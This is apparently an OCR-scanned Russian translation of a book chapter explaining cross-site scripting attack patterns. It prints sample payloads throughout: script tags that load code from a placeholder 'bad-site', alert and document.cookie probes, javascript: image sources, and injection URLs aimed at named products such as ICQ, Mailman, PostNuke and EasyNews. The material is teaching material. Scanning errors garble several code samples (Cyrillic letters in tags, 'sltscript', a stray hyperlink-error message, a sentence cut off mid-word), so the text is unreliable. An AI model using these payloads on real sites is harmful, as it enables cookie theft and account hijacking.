Переносимые сценарии, которые могут исполняться на любом сетевом узле (Cross-Site Scripting — XSS), стали популярной темой для обсуждения в сфере информационной безопасности. Фактически атаки с использованием XSS — это еще одна разновидность служебных сигналов, которые обрабатываются клиентским программным обеспечением, в данном случае Web-браузерами. Это достаточно популярная атака, поскольку Web-сайты созданы практически повсеместно.
<script> evilScript () </script>
Для проведения атаки с помощью XSS злоумышленник посредством особого управляющего кода может разместить в передаваемых данных хитрую ловушку. Этот метод можно назвать современной формой использования управляющего кода для терминала в именах файлов и запросах на разговор. В роли терминала в данном случае выступает Web-браузер, на котором активированы расширенные функции, например, возможность автоматического запуска сценариев JavaScript. При атаке в данные добавляется вредоносный код JavaScript (или фрагмент другого переносимого кода), который читается и исполняется другим пользователем сервера. Код исполняется на атакуемой клиентской системе, что иногда приводит к катастрофическим последствиям. На 1 схематически показан пример проведения атаки с помощью XXS.
В некоторых случаях добавить вредоносный сценарий можно с помощью следующей "полезной" нагрузки в сообщении. <script SRC=lhttp://bad-site/badfile'x/SCRIPT>
В данном случае исходный код сценария доставляется от внешней системы. Однако окончательный сценарий исполняется в контексте безопасности соединения браузер-сервер исходного сайта. Термин переносимый (дословно межсайтовый — cross-site) в названии атаки появился потому, что исходный код сценария доставляется с внешнего, непроверенного сайта.
Окно с предупреждающим сообщением
Одна из безобидных разновидностей атаки с использованием XSS заключается в отображении на экране пользователя диалогового окна с текстом, предоставленным хакером. Этот метод широко используется для проверки надежности сайтов. Злоумышленник просто добавляет следующий код сценария в формы для входных данных на атакуемом сайте.
<script>alert("какой-то текст");</script>
Теперь при просмотре соответствующих Web-страниц злоумышленник надеется увидеть диалоговое окно с введенным текстом.
Использование атаки с возвратом для доверенных сайтов
Рассмотрим ситуацию, при которой хакер отправляет по электронной почте сообщение, содержащее встроенный сценарий. Например, выбранная для атаки жертва не доверяет сообщениям от незнакомцев, а автоматическое исполнение сценариев тоже может оказаться деактивированным. То есть атака провалилась.
Теперь предположим, что интересующий хакера пользователь применяет популярную систему для оперативного взаимодействия по сети. Это означает, что пользователь доверяет данным, получаемым от этой системы. На сервере, обеспечивающем работу этой сетевой службы, хакер может найти уязвимое место для атаки с помощью XSS. Вооруженный этими сведениями, хакер отправит на доверенный сайт сообщение электронной почты с ссылкой, в которой могут содержаться данные, которые отправляются на атакуемый сайт. Ссылка может выглядеть примерно следующим образом.
<а href="trusted.site.com/cgi-bin/post_message.pl?my у\> message goes here">click me</a>
Если атакуемый пользователь щелкнет на этой ссылке, то сообщение "my message goes here" (здесь может содержаться нужный код) будет отправлено на доверенный сайт. Этот сайт затем вернет сообщение пользователю. Это очень распространенный вариант атаки с помощью XSS. Таким образом, проблема возврата на уязвимом сайте может быть использована для возврата сценария обратно жертве атаки. Сценарий может не содержаться в самом оригинальном сообщении электронной почты, а вместо этого как бы "отдаваться эхом" после перехода пользователя по специальной ссылке на уязвимый сервер. Как только пользователь просмотрит отправленные сервером данные, сценарий активируется в браузере системы этого пользователя.
Приведенная ниже ссылка может привести к появлению окна на системе клиента (в результате исполнения сценария JavaScript).
<а href="trusted.site.com/cgi-bin/post_message.pi?
Ь Sltscript>alert ('hello!')</script>">click me</a>
Серверу будет отправлено следующее сообщение.
<script>alert('hello!')</script>
Кроме того, этот уязвимый сервер, скорее всего, преобразует текст (из-за наличия символов перехода) в следующую форму.
sltscript>alert ('hello!')</script>
Теперь, когда пользователь просмотрит ответ на свое сообщение, его браузер запустит исполняемый код сценария.
Шаблон атаки: элементарный запуск сценария
Обычный пользователь системы имеет возможность передачи входных данных на эту сие- * тему. В состав этих данных может входить текст, числа, файлы cookie, параметры команд и т.д. Если эти данные принимаются системой, они могут быть сохранены и использованы позже. Если данные используются в ответе сервера (например, на форумах обмена сообщениями данные сохраняются и затем опять отображаются у пользователей), злоумышленник может внедрить в них код, который будет обработан терминалом клиента.
если В базе данных хранятся текстовые записи, злоумышленник может внести запись, в которой содержится код JavaScript. Этот код может выглядеть примерно следующим образом.
<script>alert("Предупреждение: поврежден загрузочный сектор ");</script>
Этот код приводит к появлению сообщения об ошибке (подложного) в окне на клиентском терминале. Ничего не подозревающий пользователь может сильно удивиться появлению такого сообщения. При более коварных атаках сценарии могут изменять файлы на жестком диске компьютера пользователя в целях проведения дальнейшей атаки.
Так, на сайте компании ICQ (приобретенной AOL) была подобная ошибка. Пользователь мог внести вредоносный HTML-код или сценарий в сообщение, которое
Удаленный запуск сценария
могло потом быть отображено для других пользователей. Эта атака с помощью URL-адреса выглядела примерно следующим образом.
http://search.icq.com/dirsearch.adp?query<script>alert('hello'); </script>est&wh=is&users=l
Подобные проблемы касаются многих Web-сайтов, которые поддерживают сохранение отзывов посетителей. Например, ошибка была и на популярном сайте новостей Slashdot.com (исправлена только недавно). Проверка наличия ошибок выполняется очень просто: злоумышленнику достаточно ввести код сценария в поле для входных данных и просмотреть результат.
Шаблон атаки: добавление кода сценария в элементы, не предназначенные для этой цели
Сценарий вовсе необязательно записывать между тегами <script>. Вместо этого сценарий может добавляться как часть другого HTML-тега, например image, как показано ниже.
<img src=javascript:alert(document.domain)>
Добавление кода сценария в элементы программы Mailman
ДЛЯ проведения атаки по технологии XXS можно воспользоваться следующим URL-адресом.
http://host/mailman/1istinfo/<img%2 0src=user_inserted_script>
Шаблон атаки: элементы XSS в HTTP-заголовках
HTTP-заголовки всегда содержатся в отправляемых на сервер запросах. Независимо от области размещения, поступающим от клиента данным никогда нельзя доверять. Однако во многих случаях программисты забывают об информации в HTTP-заголовках. По какой-то причине информация заголовка расценивается как нечто незыблемое, что никак не может контролироваться пользователем. При подобных атаках как раз и используется это упущение, когда вредоносные даннл
HTTP-заголовки для программы Webalizer
Программа под названием Webalizer позволяет анализировать журналы сделанных Web-запросов. Иногда поисковые машины сохраняют идентификационные данные в поле Referrer при создании запроса. Программа Webalizer позволяет, например, просмотреть все запросы, сделанные с помощью поисковых машин, и составить список ключевых слов. Полученные ключевые слова сохраняются на HTML-страницах.
Провести атаку по технологии XSS можно как раз с помощью этих ключевых слов. При атаке создается ложный запрос для поисковой машины, причем в строку поиска вставляется вложенный сценарий. Программа Webalizer копирует строку поиска (без фильтрации) в каталог ключевых слов, из которого сценарий затем активируется администратором.
Шаблон атаки: использование строк запроса
Строка запроса может быть оформлена в виде нескольких пар "переменная-значение". Эти пары передаются атакуемому исполняемому файлу или сценарию, указанному в запросе. Значение переменной может быть сценарием.
Атака XSS на систему управления содержимым сайта PostNuke
В системе управления содержимым сайта PostNuke (http: //www.postnuke. com/) есть уязвимое место, благодаря которому возможна доставка предоставленного пользователем HTML-кода. В следующем URL-адресе реализована простая атака с помощью строки запроса, http: // [URL-адрес] /user .php?op=userinfo&uname = <script>alert(document.cookie);</script>.
XSS-атака на PHP-сценарий ленты новостей EasyNews
Следующий HTML-запрос позволяет создать сообщение, в которое входит XSS-атака. Ошибка! Недопустимый объект гиперссылки. ]/index.php?action=comments&do=save&id=l&cid=../news &name=ll/ll/ll&kommentar=%2 0&e-mail=hax0r&zeit=<img src=javascript:alert(document.title)>, 11:11,../news, bugs@securityalert.=com&datum=easynews%2 0exploited
Шаблон атаки: контролируемое пользователем имя файла
Допустим, что имя файла, которое задается пользователем, и не проходит фильтрации, используется для создания клиентского HTML-кода. Это возможно в случае, когда Web-сервер предоставляет информацию о каталоге в файловой системе. Если сервер не осуществляет фильтрацию определенных символов, то само по себе имя файла может содержать код атаки XSS.
Атака с помощью XSS для файлов МРЗ и электронных таблиц
Проблема переносимых сценариев связана не только с Web-сайтами. Во многих медиа-файлах могут использоваться URL-адреса, включая МРЗ-файлы, видеофайлы, сценарии PostScript, файлы PDF и даже файлы электронных таблиц (spreadsheet). Клиентские программы, которые применяются для открытия этих файлов, могут непосредственно интерпретировать встроенные URL-данные или передавать эти HTML-данные встроенному Web-браузеру, например Microsoft Internet Explorer. После передачи управления встроенные данные приводят к возникновению тех же проблем, что и при обычных XSS-атаках. Компания Microsoft очень серьезно отнеслась к проблеме атак с помощью XSS и уделила особое внимание устранению уязвимых (для XSS-атак) мест в ходе своей инициативы по переходу на разработку безопасного программного обеспечения ("security push")3.